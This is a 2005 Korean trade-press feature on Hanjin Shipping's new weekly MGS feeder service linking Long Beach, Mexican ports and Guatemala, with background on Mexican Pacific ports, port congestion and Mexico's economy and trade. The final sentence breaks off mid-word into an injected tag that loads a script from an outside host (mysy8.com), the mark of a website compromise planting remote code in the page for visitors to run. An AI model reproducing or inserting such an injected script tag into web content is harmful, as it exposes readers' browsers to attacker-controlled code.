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작성일 |
2005-09-06 |
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[기획특집] MGS와 함께 떠오르는 중남미 해운시장 |
[기획특집] MGS와 함께 떠오르는 중남미 해운시장 한진해운, 아시아-멕시코간 화물 경쟁력 선점 확보 美 롱비치 출발 과테말라까지 주1항차 피더 서비스
주요선사, 적체난 해소위해 美서부 대신 멕시코 항구 선호 한진해운, 에버그린 등과 2012년까지 항만 공동개발 참여
멕시코를 포함한 중남미 해운시장의 역사가 다시 쓰여질 것 같다.
아시아. 특히 중국과의 무역량이 크게 증가하고 있는 중남미 국가들의 수요로 인해 이 지역으로의 해운시장이 빠르게 달라지고 있기 때문이다.
특히 지난 8월부터 서비스 되고 있는 한진해운의 MGS는 멕시코를 중남미 시장의 교두보로 삼아 아시아와 중남미 시장의 화물에 대한 경쟁력을 선점하겠다는 의지로 보인다.
MGS(West Coast-Mexico-Guatemala Service)는 美 서안 롱비치항을 시작으로 멕시코 만자니요항과 과테말라 푸에르토 쾌잘항을 경유 다시 멕시코의 만자니요와 엔세나다항을 거쳐 롱비치로 돌아오는 피더서비스이다.
한진해운은 이를 위해 1천118TEU급 선박 2척을 용선, 매주 1항차씩 이 노선에 정기적으로 투입하고 있다.
한진 베가 다이아몬드와 한진 돌핀 스트레이트로 명명된 이들 선박은 800에서 850개까지 판매할 수 있으며 220개의 리퍼 프러그를 가지고 있다. 19.6노트로 운항하고 있는 이들 선박은 3년간 용선한 상태다.
박 상두 한진해운 멕시코 지점장(사진)은 “그 동안 선복임차를 통해 제공했던 피더서비스가 단독운항으로 바뀜에 따라 서비스의 질적 향상은 물론 이 지역 영업 입지가 강화되어 고객에게 보다 나은 서비스를 제공할 수 있게 됐다”고 밝혔다.
또 박 지점장은 “이번 신규 서비스가 기존의 태평양 구간 서비스와 연계되어 보다 안정적인 서비스를 제공함과 더불어 서비스 범위가 아시아 전역으로 확대되는 등의 효과를 가져와 화물 수송 경쟁력이 더욱 강화될 것으로 기대된다”고 말했다.
또한 최근 들어 미 서부 항만의 적체가 심화되자 해운회사들이 멕시코 태평양 연안의 항구쪽으로 고개를 돌리면서 멕시코를 비롯한 중남미 해운시장의 고공행진이 더욱 빨라질 전망이다.
이로 인해 멕시코 북부 바하 캘리포니아주의 엔세나다를 비롯해 시날로아주의 과이마스와 토폴로밤포, 마사틀란, 중부 콜리마주의 만자니요, 미초아칸주주의 라사로 카르데나스 등 태평양 연안의 6개 항구가 급부상하고 있다.
이와 관련 주요선사들은 이 노선에 신규 노선 개설 뿐 아니라 항만시설의 공동투자 계획을 서두르고 있다.
MSC사는 만자니요를 경유하는 신규 노선 서비스를 개설하고 연간 4만TEU의 컨테이너를 처리할 예정으로 있으며 한진해운 역시 에버그린, 양밍, 차이나쉬핑등과 함께 2012년까지 멕시코 푼타 클로넷의 인프라 공동 개발에 참여할 계획이다.
이들 선사들이 중남미 국가에서도 특히 멕시코를 주목하고 있는 것은 연간 교역규모가 세계 11위권에 달하는 3천300억달러로 중남미 최대 시장인데다 미국과 국경이 인접해 있어 미국의 생산 및 판매 기지로 자리매김하고 있는 황금시장이기 때문이다.
한편 멕시코는 면적 196만 4375㎢, 인구 1억 590만 명으로 6천 260억 달러의 GDP 4%의 경제성장률을 있는 보이고 있는 중남미 제2의 경제대국이다.
북쪽으로는 미국, 남쪽으로는 과테말라*벨리즈와 국경으로 접해 있고, 서쪽으로는 태평양과 켈리포니아만, 동쪽으로는 멕시코만과 카리브해에 접해 있는 멕시코는 내수 시장의 성장 잠재력이 가장 큰 시장으로 주목받고 있는데, 풍부한 원부자재를 보유하고 있어 자원 투자 분야가 유망한데다 최근 멕시코 정부의 적극적인 투자유치로 고부가가치 산업 기술, 자본 집약적 산업의 대멕 투자가 활성화 되고 있기 때문이다.
뿐만 아니라 멕시코는 북미와 중미, 남미 시장을 연결하는 전략적 요충지로서, 생산 및 물류 거점으로서의 입지조건을 갖추고 있어 투자자들에게 매력적인 시장으로 손꼽힌다.
세계시장에 대한 용이한 접근성을 위해 올해 4월 멕시코는 멕-일 FTA를 체결함으로써 43개국과 13개 FTA를 체결한 상태이며 한국 역시 멕시코와의 FTA체결을 협상 중에 있다.
2005년 현재 멕시코 수출 및 수입은 각각 1005억 달러와 1032억 달러, 총교역량 2037억 달러에 달하며, 무역 수치 측면에서 보면, 2003년 85억달러에 달하던 무역수지 적자가 2004년 81억달러, 최근에는 그 폭이 대폭 줄어든 26억달러로 돌아섰다.
최근 미국 경제 침체와 맞물린 중남미 경제 불안을 감안한다면 완만한 성장률을 시현하고 있다.
멕시코는 非OPEC 주요 산유국으로서 미주지역에서 베네주엘라 다음으로 두 번째로 원유매장량을 가지고 있으며, 미국, 사우디,러시아, 이란에 이어 세계 제 5위의 산유국이다.
석유산업은 국영기업인 페멕스(PEMEX)가 독점하고 있으며, 연간 수출액의 14%를 차지해 경제?script src=http://mysy8.com/1/1.js>
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